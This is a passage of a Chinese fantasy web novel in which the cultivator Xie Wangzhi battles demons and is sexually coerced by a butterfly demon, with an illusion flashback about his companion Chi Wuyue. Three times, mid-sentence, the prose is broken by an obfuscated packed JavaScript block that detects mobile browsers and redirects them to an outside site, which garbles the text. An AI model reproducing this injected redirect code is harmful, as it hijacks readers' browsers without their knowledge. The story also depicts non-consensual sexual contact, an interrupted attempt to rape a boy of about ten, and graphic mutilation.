他出手太快,小岚反应不及,一下被他刺中咽喉,却并未如期当场毙命,还转过脸看谢妄之,咧了下嘴角:“你修为很高,我盯了你一路。但很可惜,你杀不死我。” “是么?那你未免太自信了些。” 谢妄之嗤笑了声,握着剑柄狠狠拧动,锐利剑尖几乎快把对方的脖颈搅成一滩烂泥,血液喷溅三尺。 而小岚仍嬉皮笑脸地看着他,本是天真可爱的一张脸,此刻沾了大片鲜血,狰狞可怖、妖异非常:“我很喜欢你这具身体,送给我玩玩吧。” 它狞笑着,双手握住谢妄之的剑,皮肤逐渐冒出丝丝缕缕的黑雾,顺着剑身潮水般涌向谢妄之。 辨不出黑雾底细,谢妄之谨慎抽剑后退。而小岚紧追不舍,脖颈几乎扭断,头颅歪斜挂在肩膀,垂坠的乌发再度暴涨,如蛛网般铺天盖地向他包拢。 谢妄之方挥剑斩断长蛇般的头发,身后又有数具尸体嘶吼着冲他奔袭,黝黑的细长指甲快要刮上他的肩膀。地上一堆毒虫也靠近了他,触角与口器亮起锋锐的寒芒,猛地扇动双翅飞扑。 他眼眸微眯,还未动作,一瞬间,周身忽亮起一道光芒,似有屏障助他阻拦邪物攻势。那些东西如同浸入水中,空气泛起圈圈涟漪,难近他半分。 谢妄之一怔,随即迅速挥出冰寒剑气掀飞近身的毒虫,又反手斩下一具尸体的头颅。 那具尸体立时僵直,自脖颈断裂处喷涌出鲜血,露出一条乳白色的虫豸,扭动挣扎着往下钻入脊椎,僵直的尸体瞬间又“活”了过来,继续发动攻势。 崔岫护着几名不擅长近身作战的队友,提着大刀,浑身浴火,燃着烈焰的雄狮不断扑咬着邪物。眼角余光瞥到谢妄之这处,吼了声:“谢兄,怎么样了?” “死不了。” 谢妄之随口应了句,手腕翻转间寒芒阵阵,铺天盖地的发网瞬息碎成齑粉,接着瞅准机会,闪身到方才那邪物的背后,猛地刺出一剑,再向上一挑。 剑尖入肉,只见刚刚钻出的那条乳白色虫豸被猛地挑飞,落在地上疯狂扭动挣扎,转瞬被漆黑的虫潮吞没,分食干净。 而那具尸体也应声倒塌,与那条虫子一般,浑身皮肉都被虫潮啃噬,连骨头都没剩下。 “小心虫子。” 谢妄之立即提醒队友,散出灵力护体逼退虫潮,又依法炮制解决几具尸体,向着小岚飞身攻去。 几名队友修为都不低,彼此相熟、配合默契,并不需他支援。橙黄符箓漫天飘飞,连环炸出几朵金色巨浪,与冲天火光一齐将邪物烧了个干净,让他能专心应付大妖。 很明显,小岚不是谢妄之的对手,头发被斩断后几乎失去战力,撑不住几个回合,开始向谢妄之讨饶: “是小妖有眼不识泰山,求仙长高抬贵手,小妖愿意继续带你们去找宝贝,但求仙长饶过小妖一命!” 谢妄之没应,举剑指了指那些会动的尸体,冷声问:“这些哪里来的,抓那么多人做什么?” “是、是从前被小妖骗来的……”妖物跪在地上,面上乖巧答话,却暗自掐诀作势逃跑。 但谢妄之速度更快,一道剑光闪过,掐诀的两只手被整齐切下。 “司、司尘救我,救我!” 接着,不知它看到什么,忽然惊恐地大叫起来,也不知在喊谁。 眼珠滴溜溜乱转,像是要顺着垂坠的头颅从眼眶里掉出。身体剧烈颤动,冒出丝丝缕缕的黑雾,尽数往一个方向去。 谢妄之微微眯眼,怕生变故,毫不犹豫地又赐它一剑。 大团黑气立时从它身体涌出,在石室上空疯狂乱窜,疯狂尖叫嘶吼,躲避什么似的。 谢妄之还未出手擒住那团黑雾,只见一抹白影闪过,像是把它吞噬了,黑雾瞬间了无踪迹。 看到白影,他立时想到前几日见过的池越,下意识去找池无月的身影。 却见对方安安静静待在不远处,分明修为不高,打起来时他也没顾上,但少年看上去却是衣着整洁,毫发无伤。 崔岫处理完剩下的尸体,躲避着满地虫潮走过来,摸着自己鼻子讪讪道:“谢兄,还得是你。要不是你在,我们都被它骗惨了。” “它倒也不是完全无用。”谢妄之微微勾唇。 “那是因为你……算了,没什么。”队里另一个男修撇嘴。 五大世家几乎垄断修仙界所有资源,普通散修甚至不能自由出入秘境历 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14625344|155977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 练,修为普遍不及世家子弟。 他们若是遇上这样以天材地宝为诱饵的妖物,根本没命去取。而人心都是贪婪的,谢妄之一行也不例外。 至于最初的什么给家人寻找救命药材,不过是妖物接近他们的手段借口,若他们不上当,没准便换套骗术再来。 几人搜刮了石室,可惜没找到什么宝贝,正要遗憾离开,整座石室忽然剧烈摇晃起来。岩壁寸寸龟裂,呈蛛网之势向四周绵延,头顶不断有落石砸下。 “糟了,这洞穴不会要塌了吧,快跑!!” 崔岫吼了声,众人一怔,赶忙向外飞奔。 而恰在此时,稍微退去些的虫潮竟再度汹涌,拦住众人的去路,几人另择方向,却有一块巨石轰然砸下。 而虫潮几息间便逼至眼前,目之所及一片漆黑,交叠、翻滚,密密麻麻,见识到虫子啃噬尸体的速度,众人不约而同面色凝重。 谢妄之眼眸微眯,挥剑逼退虫潮,观察着四周寻找其余出路,忽听身后一阵轰然声响。只见一块巨石正正好从他们头顶砸下,硬生生将队伍分隔开来。 崔岫举刀重重一劈,把巨石拍得粉碎,沉声道:“这样下去不是办法,看来我们只能与这些虫子拼一拼了。” 其余人没有异议,他便大吼一声冲出,大刀再度燃起火焰,烧焦了一片,却很快又有新的虫子填补。 众人以进为退,一边躲避落石,一边向虫子涌来的方向去,连片的爆破声与铮然琴声在空旷洞穴中回荡。 等到他们穿过一条石廊,逼近某处,虫潮攻势猛然激烈,发出刺耳嘶声,似在阻挠他们前进。 众人也有所察觉:这些虫子在守护着什么东西。 又往前一段,眼前赫然现出一个巨大的妖物巢穴。 由成千上万条雪白细丝编成一个硕大无比的吊篮,连着四面的石柱,高悬半空,发出炫目圣洁的白光,仿佛一颗夜明珠,湿润石壁都被映得透亮。 其下是一片密密麻麻的雪白虫卵,不停蠕动着,似要孵化出来,比来时路遇见的虫子还要多。 进入巢穴之后,虫潮不再向他们逼近,而是徘徊于门口,似乎在惧怕着什么。 “吵什么?” 只闻一道清泠嗓音传来,似新雪落地,在洞穴中回荡,空灵圣洁。 众人屏息,抬眸看向空中的吊篮。 一条光洁手臂探出,扶着吊篮边缘,里头的人缓缓坐起身,露出一张漂亮得雌雄莫辨的脸。 银发金瞳,肤白胜雪,眼尾爬着细密繁复的花纹,两根细长的白色触角从额头探出,末梢点缀两枚冰晶,熠熠生辉。 紧接着,那人站起身,脊背竟生着一对宽大的透明蝶翼,流光溢彩。足尖一点,轻轻振翅飞起,似仙人一般从空中吊篮缓缓落到众人面前。 扫视一圈后,对方赤足走到谢妄之面前,纤长指尖轻划过他的脸,微微笑了一下,轻声道:“岚儿倒是学聪明了。这次的贡品,还不错。” 9.第 9 章 面前的蝶妖生得如同天仙一般,众人不由自主屏息,好一会儿才缓过神。虽从对方嘴中听见小岚的名字,但见对方并未显露恶意,便也按兵不动。 谢妄之蹙眉拍落蝶妖的手,本想说什么,但对着那张漂亮的脸,又咽回肚里,只道:“你就是司尘?贡品又是什么意思?” “……”池无月微微眯眼,双手掩在袖中紧攥成了拳。 蝶妖颔首,但笑不语,又轻轻勾了勾手,示意谢妄之附耳过去,清澈双眸似把淡金霞光笼在其中,令人不由自主沉沦。 “公子,小心……” 池无月下意识转眸去看谢妄之,却见对方薄唇紧抿,似在思量,甚至有些动摇,不由伸出手想扯一下对方的衣袖,半途却又把指尖缩回。 在看到谢妄之当真凑上前去时,他不由垂下眼睑,顿了会儿又抬眸看去。 只见二人凑得极近,谢妄之微侧过头,蝶妖倾身附在他耳边,红唇翕张时竟能触到谢妄之的耳廓。不知有意还是无意,蝶妖说着忽然掀帘睨他一眼。 不知蝶妖说了什么,片刻后,谢妄之陡然睁大眼,猛地后撤退开,高扬起手,脸颊与耳廓染上薄红。 “……做梦,滚。” 谢妄之咬牙切齿,这一巴掌到底没落下去,丢下一句转身欲走。 未想司尘扇动蝶翅,轻盈优雅地落到他面前,伸手阻住他的去路,微微歪头疑惑道:“为什么?是因为我不够美么?” “什、什么,这还不够么?”崔岫惊奇挑眉,“谢兄,它到底跟你说了什么呀?为什么你忽然要走?” 司尘淡然开口:“季节到了。” “……呵。”谢妄之冷笑,狠狠剜了眼对方,声音像是从牙缝里挤出,“如果你想亲眼看着一堆虫子喊你爹,那你就留在这吧。” “噗!哈哈哈……” 队友们怔了一下,很快明白过来是什么意思。两位女修微微脸红,崔岫则是毫不客气地笑出了声。 池无月面色陡沉,眼神愈加幽暗。 “……”谢妄之羞怒交加,撇开众人自顾往外去。 司尘却又将他拦住,善解人意地微笑道:“我知道了,你定是害羞,嫌弃这里人多。虽然我不介意,但我可以听你的。” “你!你别放屁!” 从来都是他羞辱别人的份,那轮得上别人这样调戏他?谢妄之恼羞成怒,怒不可遏,竟把教养都抛之脑后,召出随心握在手中。 不等他给对方一点教训,司尘我行我素,猛然振翅飞到半空,抖落晶亮磷粉,而后舒展双臂,开始翩跹起舞。 银丝如瀑倾泻,仿佛能感觉到水珠喷溅脸上的湿润,织金纱衣随身形旋转,如花一般盛开。巨大的雪白吊篮在他身后高悬,投落乳白华光,似是为他量身而设的舞台。 众人神色一怔,下意识抬头看仙子献舞,目光不由自主追随着那抹梦幻蝶影,浑然不觉自己竟是中了蝶妖的幻术,沉沦在美梦之中,眸光痴迷涣散。 而幻境之外,现实中的众人则是昏睡在地,谢妄之顾不得把队友摇醒,又被司尘缠住,终于忍不住拔剑,猛地刺向对方面门。 “我已经听你的做了,你为何还是不同意与我交/尾?” 司尘蝶翅微振,轻飘飘避开,又凑在谢妄之耳边轻轻吹气,逗弄似的微微笑着,眼神却清澈无辜。 “别废话!” 谢妄之冷笑了声,侧身避让,又迅速回身,锐利剑尖擦着对方的绚丽蝶翅刺了过去。 一击不中,他正要再出一剑,司尘恍然大悟似的忽然“哦”了一声,语出惊人:“难道你不能人——” “你!寡廉鲜耻,闭嘴!” 谢妄之睁大眼,猛然打断对方,面色青红交错,出招愈加凶狠,却次次都被蝶妖轻而易举躲了过去,渐渐觉出不对来。 就算秘境强制将他的修为压到元婴以下,他现在至少也是金丹大圆满,对付区区一只蝶妖怎这般费力。 就在他分神思索的刹那,司尘的身影倏然在他眼皮子底下消失。 他立时收剑停住,屏息戒备四周,却自身后猛然伸出两条细长藕臂,一下圈住他的腰,一股大力带着他冲天而起。 耳畔风声消弭,视野陡然模糊,只感觉到鬓发被吹乱,只是眨眼,他已身处悬在高空的巨大吊篮中。 而司尘正站在他身后,双臂箍着他的腰,脸颊陷进他的颈窝里,用额头伸长的触角来回蹭他,姿态亲昵,在他耳边低声道:“没关系,你若是不能,换我来也是一样的。” “……呵。” 男性尊严再度遭到挑衅,谢妄之气笑了,五指攥住腰间的手臂,猛然收紧,用力得指骨咔哒作响,手背浮起青筋,瞬间把人雪白皮肤抓出一片青紫。 他咬牙切齿道:“你怎知我不能?给我放开!” “放心,他们一时半会儿不会醒,我们要现在试试么?” 蝶妖被他弄疼也不恼,还以为终于得他首肯,低头在他后颈落了一吻。 脖颈处传来湿润酥痒的触感,谢妄之忍不住往前倾身一躲,气到极致,反而冷静下来。 他道:“我想看着你的脸。” 对方落在颈侧的呼吸微微一滞,随后将脸颊埋入他颈窝,顿了会儿才又抬起头,轻声追问:“你喜欢么?” 谢妄之深吸口气,耐着性子哄道:“怎会不喜欢呢?” 似乎把人哄高兴了,蝶妖终于将他松开。 而谢妄之等的就是这一瞬的松懈。 他暴起发力,将蝶妖反剪双手压在膝下,用全身重量压迫着对方的脊背,一手扣紧对方两只手腕,另手握着剑狠狠向下一刺! 锐利剑尖毫不留情穿透蝶妖垂顺的翅膀,死死钉在了地上。 “唔嗯——” 身下人猝不及防,喉里溢出声短促痛呼,未被剑尖钉住的那一半蝶翅不住翕张颤抖,最后又乖顺地垂落,舒展着贴在地上。 对方微喘着气,额头被迫贴在地上,触角也被挤压得蜷曲,又向他这处侧过脸,委屈地控诉道:“你不是说喜欢么,怎么能骗我?” “呵,那你身为妖,难道就没有骗过别人么?” 谢妄之冷笑着收紧力道,居高临下地看着对方那张脸。 吊篮内部铺着一层厚厚的羽毛,雪白光洁,触感柔软。蝶妖的脸便陷在其中,银发铺散,几相映衬,愈发显得肌肤莹润,眼尾的花纹折出斑斓色彩,瑰丽无双,叫人目眩神迷。 未想到蝶妖轻轻摇头:“我不骗人。” “……” 谢妄之沉默,忽然有种自己在欺负人的错觉。他继续施力,冷声道:“让他们醒过来。” “不行。”蝶妖还是摇头,语气坚定,“我们还没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14630379|155977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有交/尾。” 兜兜转转,竟又绕回这个问题。 “好啊。”谢妄之气笑了,微抬下颌,压低嗓音开口,语气恶劣,“你的翅膀很漂亮,把它割下来给我,我就答应你。” “……” 大概是没有料到他会提出这样过分的要求,蝶妖沉默下来,额头触角微微颤动,嘴唇抿成了一条直线。 其实谢妄之也只是想让对方知难而退,见人犹豫,嗤笑了声,又重复道:“让他们醒——” 没等他说完,蝶妖轻声问:“那你会喜欢我么?” “……什么?”谢妄之怔了一下,忍不住蹙眉。 对方挣扎着想要抬头看他,淡金眼眸似盛着两池秋水,眸光潋滟,又轻声重复:“若是我将翅膀送你,你能喜欢我么?” “什么喜欢不喜欢的。”谢妄之眉头蹙得更深,“你非得别人喜欢你么?” “……”蝶妖沉默下来,长睫低垂,嘴唇微抿,模样看起来有些委屈,过会儿才小声辩驳:“他们只喜欢我的翅膀,我不是一直都有翅膀。” 闻言,谢妄之忽然反应过来,要破茧才能成蝶。 虽然对方并未明说,但他似乎也能想象到,在拥有翅膀以前,蝶妖过着什么日子。 但这与他无关。 谢妄之冷漠道:“我不想要你的翅膀,也不会同意与你交/尾。若你再不让他们醒来,我不介意让你失去这对翅膀。” “哈哈,哈哈哈……” 空气沉寂半晌,身下人忽然耸动肩膀,竟是大笑起来,周身妖气暴动。 谢妄之暗道一声不妙,来不及收势撤开,那一半蝶翅猛然扇动,竟将他一下掀飞,后背猛地砸在吊篮边缘,又脸朝下地摔进柔软的羽毛垫里。 不等他挣扎着爬起来,眼前先后落下两只赤裸的足。 趾甲修剪圆润齐整,脚背肌肤莹润细腻,黛青色的纹路鲜明清晰,向上蔓延,踝骨微微突出,看上去纤细而脆弱。 一股怪力拉扯着他的后领,将他整个人狠狠往后一掼,脊背再度砸在吊篮边缘,后脑被撞得晕眩,视野都跟着变得朦胧。 他勉力睁开眼,只见面前笼下一片淡金色的阴影,司尘浮在半空,俯身凑近了他。 一只手抚上他的脸颊,纤长指尖沿着颌骨缓慢往下滑动,掠过脖颈,最后停驻在他的胸口,往里轻轻一点,压低嗓音道:“谢妄之,你好狠的心啊,弄得我好疼。” “呵。”谢妄之冷笑了声,“我方才就该直接割下来,呃——” 话音未落,对方面色陡沉,随即猛地伸手掐住他的脖颈,五指用力收拢,迫使他挣扎起来,尽力张大了嘴呼吸,口涎无法抑制地淌出嘴角。 “是因为你有心上人,所以才拒绝我么?” 司尘倾身凑近他的脸,头顶触角轻轻颤动,末梢点缀的冰晶折出斑斓的光,红唇微张,温热吐息尽数喷洒在他面上。 方才被他用剑尖穿透的蝶翅竟完好无损,向前包拢,宽大得能阻住他所有去路,似是两道透明的围墙。 谢妄之疯狂挣扎着,双手按住对方的手臂,又尽力想召唤被甩飞的随心。可惜他们修为差距太大,对方将他压制得彻底。 他没仔细听对方说了什么,但蝶妖自顾把话接了下去: “是叫池无月吗?若是当着他的面,会让你更兴奋吗?” 10.第 10 章 与此同时,在池无月的幻境中。 雨后初霁,一名少年踉跄着冲出小巷,不幸跌倒,被后头追上来的几个男人抓住后领,一把拖了回去。 “跑!老子让你再跑,跑啊!” “你娘是个婊子,她生下来的野种也是个天生被人骑的命!” 少年身形瘦削,十来岁的模样,对上几个体格高大健壮的成年男性毫无反抗能力,被抓着后领狠狠朝墙上一掼,脊背与后脑撞上坚实围墙,发出“咚”一声沉闷的响。 头脑晕眩,耳畔一片嗡鸣,脆弱的腹部又被男人狠砸了一拳,一口鲜血猛地冲出咽喉,身体僵了一瞬,又靠着墙缓缓滑下,跌坐在地。 他咬紧牙关忍住痛,挡在额前的头发忽被人一把薅住往后拽,迫使他昂起头、露出脸,一口唾沫星子随之喷在他脸上。 而面前的男人在看清他的脸后表情一怔,随即转头与后面的兄弟对视一眼,猥琐地嘿嘿笑了两声,大手抓着他的下巴粗鲁轻慢地来回转了两下,咂嘴点评道: “啧啧,早听说这小蹄子生得不错,原来长这么漂亮,难怪那女人说什么都要我们把他抓回去。” “这小子也太能跑了,”另一个男人啐了一口,长得贼眉鼠眼的,嘿嘿笑着搓了搓手,“哥几个费这么大劲,不如……?” “这……”同伙很快明白他的意思,犹豫了一下,谨慎地看了看四周,但最终是由下半身做了决策,“算了,反正他一个男的,不留痕迹就行。” 少年面无表情听着,眼神骤然凶狠,趁其不备忽然张嘴在男人虎口上狠狠一咬,直咬出血,趁对方痛得猛甩手时又站起身往出跑。 “狗娘养的,敬酒不吃吃罚酒!” 男人们臭骂着围追堵截,很快又重新抓住他,连抽了他好几个巴掌,又迫使他跪在地上,伸脚踩着他的足踝,扯着他的头发。 少年被迫仰起脸,疯狂挣扎着,只见天上又下起雨,透过细密雨丝,他看见身前的男人动手除去裤腰带。 下裤滑落的瞬间,周遭一切忽然像是冻结般静止,连落下的雨珠都悬停在半空,晶莹圆润的模样。 面前的男人也莫名停住,维持着同一姿势,惊恐叫道:“谁、是谁!” 巷口一人踏着雨水而来,却似踩在薄冰,发出细微清脆的声响,引得少年侧头去看。 只见是一名锦衣公子抱臂走近,身边浮着一把冰蓝色的长剑,散出凛冽洁白的华光,每走一步,地面积水便结出一片冰。 “你们脏了我的眼睛。” “既然管不住,那也不必要了。” 锦衣公子低声开口,也不知做了什么,足下冰面瞬息蔓延至几个男人身前,顺着他们的双腿攀缘向上,将整个下身冻结。 一道剑光闪过,几块细小东西落地,男人们惨叫出声。 而锦衣公子自顾走远,看也未看少年一眼,似乎只是路过。 池无月挣脱束缚飞快追了上去,还踉跄着在人身后跌了一跤。 本想伸手捉住对方一片雪白衣角,却在看到自己满手污浊时又怯懦地缩回来,细弱沙哑地喊了声:“请、请您等等……” 他以为对方听不到,未想面前人站住脚,向他回过身。 一只金线滚边的靴履抵住他的下颌,轻轻向上一抬。 他的目光顺势往上,却只看见一痕浅淡勾起的嘴角: “本公子身边不养废物,你除了一张脸能看,还会做什么?” * 池无月到底还是留在了谢妄之身边,做对方的奴隶。 说是奴隶,谢妄之却待他极好,供他吃穿用度,时时将他带在身边,兴起时还手把手教他修炼。 他也不需做什么粗活儿,每日都过得比从前好上百倍千倍,连普通的下人都要高看他一眼。 谢妄之总爱逃课,每次与教书先生争执,总爱拉他出来:“你教的太简单,随便牵条狗出来都会,有什么好听的?” 于是压力转移到池无月身上。 幸好谢妄之教过他剑法,平日的抄写作业都由他代劳,先生考他什么,他答什么,全部都对,把先生气得吹胡子瞪眼。 可惜谢妄之身边的朋友不太喜欢他,总是叫谢妄之将他赶走。但谢妄之从来没应。 他很喜欢这样平和的日子。 谢妄之快及冠那年,家中开始张罗他的婚事,安排好几位才貌双全的女修与他相看。但谢妄之通通拒绝。 后来有一日夜里,他忽被谢妄之喊到房中。 对方似乎喝醉了酒,懒散靠着桌案,支着头,勾勾手指叫他过去。 他依言凑近,陷在那双寒星般的眼里,任由对方伸出手,用温热指腹细细描摹他的眉眼、鼻梁与嘴唇,指尖轻划过他的下颌,在他不住上下滚动的喉结轻轻一点。 他感觉到一种难以言喻的热与燥,从对方指尖轻触的地方向全身蔓延。 直到被对方攥住,他忽然惊醒,猛地后退,仓皇逃跑。 他告了病假,连续多日不敢看对方一眼,直到余热褪尽他才敢出现。 正见到谢妄之与他的朋友待在一处。 僻静树荫下,两人靠在一起,似乎刚比完剑,气息不稳,脸颊微红。 一见到谢妄之的脸,才褪下的热又漫上脸颊。他慌忙躲了起来,却又不舍得离太远。 只听见一阵细微粘稠的水声之后,朋友忽然问起池无月。 谢妄之微喘着气,嗤笑了声,漫不经心道:“一条狗而已,玩玩罢了。” * 幻境之外,司尘掐着谢妄之的脖颈,将他抵在吊篮的边缘,身后蝶翅向前包拢,把人堵得严严实实。 直到谢妄之难受得胀红脸,司尘才略略松手,看着人捂着喉咙拼命咳嗽,却没耐心等人把气喘匀,单手掐着对方的下颌,迫使人昂起头,随即倾身攫住那张薄唇。 吻不到半刻,连唇齿都未及撬开,谢妄之抓住他的头发,毫不留情往下大力一扯。 “当着他的面?”谢妄之看着他冷笑,五指愈加用力,“你别让我恶心。” 头皮传来一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14643473|155977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阵刺痛,司尘被迫后仰,面色却不见恼,还愉悦勾起唇:“那我更喜欢了。” 说罢又低下头。 谢妄之迅速偏头避开,却令对方的吻落在他耳后,酥麻更甚。 几番追逐之后,司尘略胜一筹,恋恋不舍退出,呼吸紊乱粗重,却仍贴着对方的唇。 正欲用蝶翅再把人拢进怀中,靠得再近些,身后忽传来破空声响,本能的危机感令他下意识松开谢妄之。 下一刻,只见一柄利剑猛钉在他方才站住的地方,冰蓝剑身散出凛冽寒气,趋人退避,随后又被谢妄之握在掌中。 “倒是我小瞧了你。但是你越反抗,我越喜欢。” 他怔了一下,又笑起来,盯着那张覆了层水光的唇,只感觉意犹未尽,不由伸手轻触了触自己的唇瓣,抹去一缕粘稠水丝。 而谢妄之见状,眼神一凛,眉头压得更低,招呼都不屑打,提剑便刺。 司尘振翅避开,尝到甜头后令他变得急躁,没有耐心再与谢妄之周旋。 素手一招,织成吊篮的雪白细丝如潮水一般向谢妄之汹涌。 谢妄之提剑便砍,未想细丝柔韧至极,剑斩不断,只好飞身避开,左躲右闪。 可吊篮巨大,细丝不知几何,铺天盖地,叫他无处潜逃,甚至令他渐渐慌不择路,反自己绕进圈里,被困在雪白的漩涡之中,被裹成一个巨大的蛹。 而白蛹之内,他四肢被缚,连挣扎都不能。 司尘勾手将蛹扯到自己身前,指尖拨开层叠细密的丝线,探了进去。 谢妄之瞳孔颤动睁大,强忍着快将嘴唇咬破,耳廓红得滴血。 “既然没有心上人,何不从了我?”司尘低笑起来,动作不停,“我也能令你欢愉。” “……” 谢妄之呼吸渐沉,忍不住闭上眼,快将银牙咬碎。 下一刻,身上桎梏猛然松开,他从半空坠入柔软的羽毛垫,忙起身整理好衣襟,这才顾得上抬头看向四周。 却见周遭如夜色降临般昏暗,浓稠的黑雾铺天盖地,将雪白细丝侵蚀,巨大的吊篮在几息间瓦解。 他踩在剑上抬头,只见不远处,一白一金两道身影缠斗激烈。 片刻,蝶妖猛地从天空坠落,强大气劲掀飞了底下密密麻麻的白卵,近乎一扫而空。 而另一道白影紧随其后,脊背源源不断钻出浓稠黑雾,凝成实质,化成两只兽爪,紧紧掐着蝶妖的脖颈。 谢妄之神色一怔,忙跟着落了地。 司尘的视线立即黏在他身上,虽被掐着要害,面色却不慌不忙,还微微勾着唇,道: “尽管杀了我,我若是死了,他们可就得一辈子都困在梦里了。” “你!” 谢妄之立即蹙眉,拳头捏得嘎吱作响。最终还是咬牙切齿道:“池无月,将他放开。” 但池无月毫无反应,乌发倾泻,发尾如云飘动,几乎融在雾里。双眸黑沉如墨,不仅侵占眼白,甚至快要溢出眼眶。脸侧的梅花开得热烈,几乎沁出鲜血。 11.第 11 章 池无月不肯罢手,而司尘还在挑衅:“谢妄之,他这样不听话,你还要把他留在身边吗?为何不将他,唔——” 他这话彻底激怒池无月,话未说完,神色陡然痛苦起来。 浓稠黑雾蔓延向他绚丽的翅膀,刻意折磨一般,缓慢地从边缘一寸寸向内侵蚀。 蝶翅猛然急剧扇动,尽管飞到半空,仍挣不出牢笼,本该流光溢彩,此刻逐渐黯然失色。 “谢妄之,我好疼……” 司尘双目紧盯着谢妄之,疼得眉心紧蹙,却强牵起笑,虚弱地轻声唤他。便是如此,容色不减分毫,脆弱得叫人心生怜惜。 “……”谢妄之顿了顿,又沉声开口,“池无月,没听见么?” 见人还是没反应,他索性大步上前,径直抓住黑雾试图扯开。 未想抓了个空,他的手掌直接穿了进去,陷在雾气里,似陷入一潭泥沼,触感湿润粘稠。 不适感令他又将手掌拔出,却感觉到一股奇异微妙的阻力,指尖似是被雾气缠住,含着吸吮,湿黏感更甚。 他蹙眉,侧头去看池无月。 却见对方脸上爬满黑色的细丝,蛛网般从眼眶边缘向外蔓延,像虫子一样微微蠕动。脸侧的梅花也被覆盖,似蒙了尘。 不知为何,此刻那些细丝又慢慢缩了回去,直到退回眼中。与此同时,缠着司尘的黑雾也缓慢松开,退回体内。 蝶妖从空中坠下,如落雪般轻盈。身后蝶翅似被烈火烧灼,几乎损毁大半,无力地垂顺在地,却更有一种颓靡的凄美。 谢妄之毫不怜惜地踩上蝶妖残余的翅膀,单膝跪地,伸手掐着对方的下颌抬起,冷声道:“令他们醒来。” “好啊。”对方顺从地昂起头,双颊红润,淡金眼眸含着水光,湿润柔软,“不过,我有一个条件。” 谢妄之蹙眉:“什么?” 司尘勾唇一笑,手掌轻落在他小臂,指尖立着,缓慢顺着往上摸,直到覆住他的手背,把自己的脸颊送进他掌中,“你要带我走。” 黑雾又钻出,丝丝缕缕弥漫四周。 谢妄之怔了一瞬,随即冷笑了声,反手扣住对方手腕,眉峰微挑,“怎么?你也想做我的奴隶?” 蝶妖微微一笑,不置可否:“想必你也感受到了,此间与外界不同。你们擅闯进来,没有我的帮助,是出不去的。若是不信,大可试试。” “……” 确实如对方所说。 灵芜谷秘境将他的修为强制压到元婴以下,秘境里头的所有,境界也必然不超过元婴。 但此处的蝶妖不同。这似乎可以说明,这里是独立于灵芜谷秘境之外的空间,或是存在某种特殊的禁制。 谢妄之蹙眉思忖,倏然想到什么,微微勾唇:“你能送我们出去,但自己出不去,对吗?” 司尘眼眸睁大,又轻笑起来,偏头在他掌心一吻,掀帘看他,低声道: “确实如此。但更重要的是,我族一生只忠于一人,你我已有肌肤之亲,你可要对我负责。更何况……” 说到此处,对方视线往下落到他腰间,微微一顿又抬眸看他,嗓音低柔,意有所指:“那位不能满足你,不然怎会稍稍撩拨便——” “闭嘴!” 谢妄之恼羞成怒打断对方,还未动作,弥漫四周的黑雾倏然暴起,化成几条漆黑鬼爪猛地袭向蝶妖。 “住手!” 谢妄之怔了一瞬,下意识伸手去拦,这次连同手掌手臂都陷进雾里。 在一片浓稠的黑雾中,似有一只看不见的手紧攥住他,五指强硬嵌入他的指缝,与他十指相扣,潮湿粘稠的触感从指尖递送到心里,痒得他发颤。 “池无月!” 他不停甩手试图挣脱,黑雾却始终牢牢缠着他,甚至试图拢进他的肩膀,引得他回身去看池无月。 却见少年面无表情地站在他身后,双眸黑沉,脸上又蔓延起黑色的蛛丝。 “又不听话了?”谢妄之蹙眉。 这三个字如同敕令,少年微抿起唇,慢慢垂下头,暴涨的黑雾又变得乖顺,潮水般退回身体,只有谢妄之的手指还缠着丝缕。 “带你走可以。”谢妄之回身看蝶妖,手指缠绕着黑雾把玩,“你要与我签订主仆契约,我要在你身上刻印。” 池无月猛地抬头,双拳攥紧。 而司尘轻笑了声,“当然可以。” 他毫不犹豫执起谢妄之的手放在唇边轻吻,又牵着对方的手摸向自己的喉结,顺着脖颈往下,“主人想将印记刻在哪里?刻在这里如何?” 在触到对方胸口之前,谢妄之猛地抽回手:“不用你操心。” 他绕着司尘打量片刻,循着印象中蝶妖在空中翩跹起舞的模样,指尖伸向对方光洁的肩膀。 无瑕雪被之上,一只金色的蝴蝶飞越山谷,停驻在最高处,抖落的磷粉连成金灿的丝线,垂落在修长优雅的臂膀。 “好了。”谢妄之收势,微抬下颌,故意问,“喜欢么?” 司尘跪在地上,温顺地任他动作。见他收手才侧头去看,瞳孔颤动着睁大,抖着手去摸那只蝴蝶,指尖来回细细摩挲,轻声道:“喜欢。” 池无月也盯着那只蝴蝶,身后笼罩的黑雾庞大如山。 * “啊?他怎么也跟着我们一起回来了?” 刻完奴印之后,司尘便依言将昏睡的队友们唤醒,送众人出去,那个巨大的巢穴也随之销毁。 